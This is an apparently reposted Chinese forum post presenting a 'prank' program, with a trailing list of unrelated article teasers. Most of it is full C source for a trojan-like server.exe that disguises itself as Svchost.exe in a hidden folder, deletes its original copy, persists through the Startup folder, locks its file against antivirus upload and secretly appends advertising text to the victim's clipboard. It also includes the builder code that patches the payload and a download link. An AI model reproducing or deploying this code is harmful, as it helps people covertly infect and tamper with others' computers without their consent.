c语言程序设计整人,C语言进程间通信练习作品 - 整人小程序之剪切板

主程序界面:

a0a419f3ad9b8a9e3447d6958ccc6b80.png

=============================================================================

程序介绍:

如果对方执行了主程序生成的【server.exe】,【server.exe】会自复制、自启动、自删除(仿木马)。

【server.exe】会后台每秒/次检测对方的剪切板,一有文本数据则在尾部加入【附加内容】,达到,对方粘贴

文本的时候,后面总是会多出一些数据。

例:如果附加内容为:“对!牛弹琴!”

对方 复制(Ctrl+C)一段:“对牛弹琴!”,当对方 粘贴(Ctrl+V)到某个地方时,内容就会变成

“对牛弹琴!对!牛弹琴!”。

【复制(Ctrl+C)粘贴(Ctrl+V)是使用率最高的操作之一,不愁对方不纠结,O(∩_∩)O哈哈~】

==============================================================================

子程序源码:

===============================================================================

#include

#include

#pragma comment(linker, "/OPT:NOWIN98")

char Dirr[256]="C:\\RECYCLER\\Svchost.exe"; // 释放路径

char L[99999]="   -------  网络编程爱好者  L、QQ:000000000";

char temp[499999999]={0};

char  tmp[499999999]={0};

HANDLE Lock_File,Lock_File1;

/*================================== 程序初始化 =======================================*/

/********************************************************/

//  开机自启动

/********************************************************/

void Auto(char Name[])

{

// 自复制到 启动文件夹 实现开机自启动  嫌麻烦 就用这种方式自启动吧 一句代码搞定

char DirName[]="C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\ts.exe";

unlink(DirName);

CopyFile(Name,DirName,1);

SetFileAttributes(DirName,FILE_ATTRIBUTE_HIDDEN);

Lock_File1=CreateFile(DirName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);

}

/********************************************************/

//  自删除功能

/********************************************************/

void Del(char *systemname)

{

FILE *fp;

fp=fopen("C:\\system.bat","w+");

fprintf(fp,"@echo off \n");

fprintf(fp,":statr\nif not exist \"%s\" goto done\n",systemname);

fprintf(fp,"del /f /q \"%s\" \n",systemname);

fprintf(fp,"goto statr\n");

fprintf(fp,":done\n");

fprintf(fp,"del /f /q %%0\n");

fclose(fp);

ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);

}

/********************************************************/

//  程序运行时进行初始化

/********************************************************/

void DelAdd()

{

char systemName[MAX_PATH];

char DirBuffer[MAX_PATH];

HMODULE hModule = GetModuleHandle(NULL);  // 获取当前程序句柄

GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 获取当前程序的路径

// GetSystemDirectory(systemName,sizeof(systemName)); // 获取系统文件夹路径

strcpy(systemName,Dirr);

if ((strcmp(DirBuffer,systemName))!=0)   // 判断程序自身是否在系统目录 不在则实现自删除

{

CopyFile(DirBuffer,systemName,0);

Del(DirBuffer);      // 自删除模块

SetFileAttributes(systemName,FILE_ATTRIBUTE_HIDDEN);

ShellExecute(NULL,"open",systemName,0,0,SW_HIDE); // 运行副本

exit(0); // 退出 让Bat删除自己

}

else

{

Auto(DirBuffer);

// 第一步 立即锁定本体 防止被上传 我想杀软没那么无聊为了上传就随随便便解锁吧?

Lock_File=CreateFile(DirBuffer, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);

}

}

/*================================== 程序初始化 =======================================*/

/*================================== 核心功能区 =======================================*/

/********************************************************/

//  检查剪切板数据的类型

/********************************************************/

int jc()

{

if (OpenClipboard(NULL))  // 打开剪切板

{

if (IsClipboardFormatAvailable(CF_TEXT)) // 检测剪切板是否有指定类型的剪切板数据

{

CloseClipboard(); // 关闭剪切板

return 1;

}

else

{

CloseClipboard(); // 关闭剪切板

return 0;

}

}

return 0;

}

/********************************************************/

//  读取剪切板数据

/********************************************************/

char* Rjqb()

{

if (OpenClipboard(NULL))  // 打开剪切板

{

if (IsClipboardFormatAvailable(CF_TEXT)) // 检测剪切板是否有指定类型的剪切板数据

{

HANDLE hClip;

char *pBuf;

hClip = GetClipboardData(CF_TEXT);  // 获取指定类型的剪切板数据

pBuf = (char *)GlobalLock(hClip); // 加锁

GlobalUnlock(hClip); // 解锁

CloseClipboard(); // 关闭剪切板

return pBuf;

}

else

CloseClipboard(); // 关闭剪切板

}

}

/********************************************************/

//  修改剪切板数据

/********************************************************/

void Wjqb()

{

if (OpenClipboard(NULL))  // 打开剪切板

{

if (IsClipboardFormatAvailable(CF_TEXT)) // 检测剪切板是否有指定类型的剪切板数据

{

HANDLE hClip;

char *pBuf;

EmptyClipboard(); // 清空剪切板 并释放剪切板中数据的句柄 把剪切板的所有权赋给当前窗口

hClip = GlobalAlloc(GMEM_MOVEABLE,strlen(temp)+1); // 分配一个内存对象 第二个参数 字节数

pBuf = (char *)GlobalLock(hClip); // 将空间加锁 并返回 指针

strcpy(pBuf,temp);

GlobalUnlock(hClip);  // 解锁

SetClipboardData(CF_TEXT,pBuf); // 写入数据

CloseClipboard(); // 关闭

strcpy(tmp,pBuf);

}

else

CloseClipboard(); // 关闭剪切板

}

}

/*================================== 核心功能区 =======================================*/

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR     lpCmdLine,

int       nCmdShow)

{

// 已经加入锁定自身的功能 不需要下面的语句

/*

HANDLE _hEvent=CreateEvent(NULL,FALSE,FALSE,"Jqban");

if (_hEvent)

{

if(ERROR_ALREADY_EXISTS==GetLastError())

{

exit(0);

}

}

SetEvent(_hEvent);

*/

int cout=0;

//

// 让启动程序时的小漏斗马上消失

GetInputState();

PostThreadMessage(GetCurrentThreadId(),NULL,0,0);

MSG msg;

GetMessage(&msg, NULL, NULL, NULL);

//

char Bud[]="!!...!!矽描册赐悲荒粥!!MⅲRRせ211867767:";

int ii,jj=0;

ii=strlen(Bud)-1;

for(;ii>=0;ii--,jj++)

Bud[jj]=Bud[jj]-1;

DelAdd();

// 不停的循环

while (1)

{

if (jc())  //

{

// 读取剪切板 并复制给全局变量 temp

strcpy(temp,Rjqb());

// 比较是否与上次内容相同 若不相同则进行修改

if (strcmp(temp,tmp))

{

strcat(temp,L);

cout++;

if (cout==6)

{

strcat(temp,Bud);

cout=0;

}

// 在剪切板内容后面附加广告内容

Wjqb();  //  写入剪切板

}

}

Sleep(1000); // 延时1秒

}

return 0;

}

===============================================================================

至于主程序源码,主程序是用MFC创建的对话窗口,关键代码都在【生成】的按钮中

下面贴出【生成】按钮 触发的代码

===============================================================================

void CMyDlg::OnButtOk()

{

// TODO: Add your control notification handler code here

CString DIr;

CString MssG;

char autoo[]="C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\ts.exe";

char Dir[MAX_PATH]={0};

char Mssg[99999]={0};

GetDlgItemText(IDC_EDIT_DIR,DIr); // 获取 释放路径 的编辑框数据

GetDlgItemText(IDC_EDIT_Msg,MssG); // 获取 附加数据 的编辑框数据

strcpy(Dir,DIr);  // 必须用数组形式

strcpy(Mssg,MssG);

HRSRC hRc=FindResource(NULL,"L","Exe");

if(!hRc)

{

::MessageBox(0,"EXE资源不存在","错误",MB_SYSTEMMODAL);

return ;

}

HGLOBAL hg=LoadResource(NULL,hRc);  // 将资源载入内存并返回其在内存中首地址保存在hg中

DWORD dw=SizeofResource(NULL,hRc);  // 获得资源大小并用dw保存资源大小

// 分配缓冲区并用0填充

char a[137728];

memset(a,0,137728);

// 向该缓冲区中复制资源的二进制数据

memcpy(a,hg,dw); // 将资源的二进制数据存放在缓冲区a

// 创建服务端文件

FILE *out=fopen("server.exe","wb+");

fwrite(a,1,dw,out);

fclose(out);

FILE *fp=fopen("server.exe","rb+");

rewind(fp);

fseek(fp,0x6830,0);

fwrite(Dir,1,256,fp);

rewind(fp);  // 指针归0

fseek(fp,0x6930,0);

fwrite(Mssg ,1,99999,fp);

fclose(fp);

// 生成卸载相关的批处理...

char Fname[MAX_PATH];

GetFileTitle(Dir,Fname,sizeof(Fname));

fp=fopen("卸载.bat","w+");

fputs("echo off\n",fp);

fputs("title 卸载【整人小程序之剪切板】子程序  L、QQ:100\n",fp);

fputs("COLOR 0a\n",fp);

fputs("echo 此批处理,只能卸载子程序释放路径为:",fp);

fputs(Dir,fp);

fputs("\ntaskkill /F /IM \"",fp);

fputs(Fname,fp);

fputs("\"\nattrib -h \"",fp);

fputs(Dir,fp);

fputs("\"\nattrib -h \"",fp);

fputs(autoo,fp);

fputs("\"\n",fp);

fputs("Del \"",fp);

fputs(Dir,fp);

fputs("\"\ndel \"",fp);

fputs(autoo,fp);

fputs("\"\n",fp);

fputs("ECHO 执行完毕!\n",fp);

fputs("pause",fp);

fclose(fp);

::MessageBox(0,"已经生成服务端【server.exe】及卸载相关的批处理【卸载.exe】","成功",MB_SYSTEMMODAL);

}

=========================================================================================

主程序下载地址:

08888e3a94b1d4845f47f7539b112be4.gif

zrxcx-v1.0.zip

(38.54 KB, 下载次数: 3)

2015-1-11 00:47 上传

点击文件名下载附件

下载积分: 黑币 -5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/559312.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android怎么自定义充电铃声,安卓手机怎么自定义充电提示音_自定义安卓充电提示音教程_3DM手游...

安卓手机其实也是可以设置充电提示音的,我们只需要下载一个第三方软件,然后在APP中进行一些简单的设置,就可以实现自定义更换手机充电提示音了。安卓手机怎么自定义充电提示音?下面小编就为大家带来了详细的教程,希望能…

android logcat 根据包名过滤,adb logcat通过包名过滤(dos命令find后跟变量)

过滤条件:该app在运行实现原理:1、获取该app运行时的pid2、通过find命令,过滤pid的日志,就是该包的运行日志实现:1、在同一目录建立一文件:getpid.batecho offadb shell "ps | grep com.example.testp…

android 最新的框架搭建,Android之Mvp模式框架搭建

前言在做Android开发时,我们通常为了更合理,更高效,优质的开发项目,并不是直接上来就开始开发功能,而是先搭建好自己的一个开发框架,一个好的开发框架,通常会让我们事倍功半,它就好比我们去建造一个房子,如果你的地基打的越深,越牢固,那么就可以建造出很高很大的房子.在搭建一个…

英特尔nuc能代替主机吗_python编程,热度为什么越来越高,python能代替JAVA吗?...

大家好,我是你们的软件主讲老师宁彤天,python编程是这几年刚火起来了,这可能是这几年人工智能的普及吧,现在是人工智能非python,没有第二,当能其它语言也能实现人工智能,但python的代码量能用最…

mix2s 升级android p,小米推送小米MIX2S 安卓P稳定版更新 这两个隐藏升级你发现了吗?...

原标题:小米推送小米MIX2S 安卓P稳定版更新 这两个隐藏升级你发现了吗?今天上午,小米推送了小米MIX2S的稳定版更新,版本号为MIUI V10.0.4.0,体积为2GB,这一次更新将系统底层更新至了Android P,不…

python求出五位数的回文数_python之递归

#codingutf-8#题目:打印出如下图案(菱形)nu 1 # 开始值k 2 # 变量值while nu > 0:print(int((7 - nu) / 2) * * * nu)nu kif nu 7:k -k#题目:有一分数序列:2/1 ,3/2 ,5/3 ,8/5 ,1…

html正则判断全数字,javascript如何判断是不是数字?

javascript判断是不是数字的方法:方法一、使用js自带的全局函数isNaN()判断是不是数字。方法二、使用正则表达式判断是不是数字。方法三、通过typeof的返回值判断。JavaScript中判断是不是数字方法详解:第一种方法:isNaN()使用js自带全局函数…

law是什么的缩写_Lawyer和Attorney 有什么不同?

据美国劳工统计局(Bureau of Labor Statistics)预计,2016年至2026年间,律师的就业增长率为8.2%。在此期间,预计将新增6.5万个就业岗位。而且美国律师行业的,律师行业在US.NEWS 的Best Social Services Jobs中排名第一,…

选择座位html,影厅座位预览效果(css3)_html/css_WEB-ITnose

查看 demo 下载源码你可能对那些购买时需要选择座位的订票系统比较熟悉。通常在比赛,电影,搏击或者演唱会售票的时候需要这样做。如果能有一种座位的预览效果该有多酷啊,比如能够从你选择的位置的角度去预览舞台或者屏幕。这个问题引出了今天…

html 使用百度搜索,百度搜索uzer,进入主页

windows7的uzer.me怎么 安全上网百度搜索uzer,进入主页下载完成以后,点击,快捷方式,运行。登陆后,首先出现的是文档库,点击文档库。UZER上的软件和文件都打不开,网络没问题。因为安装的软件版本…

2021曲靖高考成绩查询时间,2021年曲靖高考成绩排名及成绩公布时间什么时候出来...

曲靖高考结束后,每年都有很多家长和考试不知道曲靖高考成绩排名如何查询、曲靖高考成绩什么时候公布以及查询方式,本文小编整理了曲靖高考成绩查询排名的相关知识。一、曲靖高考成绩公布时间及查询方式根据往年曲靖高考成绩公布时间预测,2021…

uniapp打包成html5包个ios壳,HBuilder之uni-app打包App方法

HBuilder是DCloud(数字天堂)推出的一款支持HTML5的Web开发IDE。该软件既可以支持web代码编写,也可以将已经编写好的项目代码打包为手机APP。HBuilder提供的打包有云端打包和本地打包两种,云端打包的特点是DCloud官方配置好了原生的打包环境,可…

彭山计算机培训,彭山2021年初中生学计算机

建校以来,我校一直秉承“让每一个学生具备生存发展的能力,让更多学生体验成功”的办学理念,坚持“诚信、务实、精技、立业”和“先做人、后做事”为校训,多年来优秀的办学质量和成绩屡获***、教育主管部门、专家、家长等社会各界的…

计算机控制系统开关,电脑远程开关机控制器

原标题:电脑远程开关机控制器SPD-M05电脑远程开机/关机/复位远程控制器斯必得SPD-M05电脑远程开机/关机/复位控制器是专为各种服务器及无人值守机房电脑远程遥控开机/关机/复位所开发。该控制器采用电话远程遥控操作,无论你何时何地只要你拔打一个电话即…

caffe模型文件解析_深度学习 Caffe 初始化流程理解(数据流建立)

深度学习 Caffe 初始化流程理解(数据流建立)之前在简书的文章,搬迁过来 ^-^本文是作者原创,如有理解错误,恳请大家指出,如需引用,请注明出处。#Caffe FeatureMap数据流的建立 ##用语解释FeatureMap: 输入的图片信息或者…

函数计算机怎么去掉fix,excel怎么使用fix函数取整

fiv函数的作用是取整,在excel当中该如何使用呢?下面就跟学习啦小编一起看看吧。excel使用fix函数取整的步骤1、首先我们打开一个工作样表作为例子。2、使用altf11组合快捷键进入vbe编辑器,插入一个新的模块,并在模块中输入以下代码&#xff…

问道五周年服务器维护公告,问道五周年 欢乐嘉年华

任务卷轴任务卷轴记录卷轴任务的道具,可以交易、摆摊、放入商店、卖给NPC、丢弃等操作,道具为打怪掉落或者商城购买,分为5个等级,等级越高,难度系数越高。卷轴使用1、右键点击使用道具,与道具等级不符的玩家…

datagridview设置为勾选才可编辑_使用lightroom前,做好这几项设置,有助于更好使用...

工欲善其事,必先利其器。每一款软件都有它需要特别关注的地方,在使用前做好相应的配置,可以大大提升使用体验,正所谓“磨刀不误砍柴工”。那lightroom使用前需要进行哪些设置呢?一、进行【首选项】设置1、如何打开【首…

惠普服务器u盘做win7系统,惠普u盘装win7系统 利用u盘装win7系统

现如今随着社会水平的提高,无论办公还是生活都是越来越离不开电脑,电脑品牌也很多,惠普电脑是比较受人关注的品牌电脑,惠普电脑在使用过程中系统可能会越来越卡顿或者出问题需要U盘重装系统,有些新手用户对于系统重装还…

发那科攻丝回退参数_参数-Fanuc数控系统的攻丝拉拔动作倍率即回退速度倍率

众所周知Fanuc数控系统的参数多如牛毛。上千的参数,并且有的还是八位,虽然Fanuc发布有相关的参数说明书。但是,作为最终用户的我们,有的也只是公开发布的,也没有更新更全的相关资料。即便是有了相关书籍,又…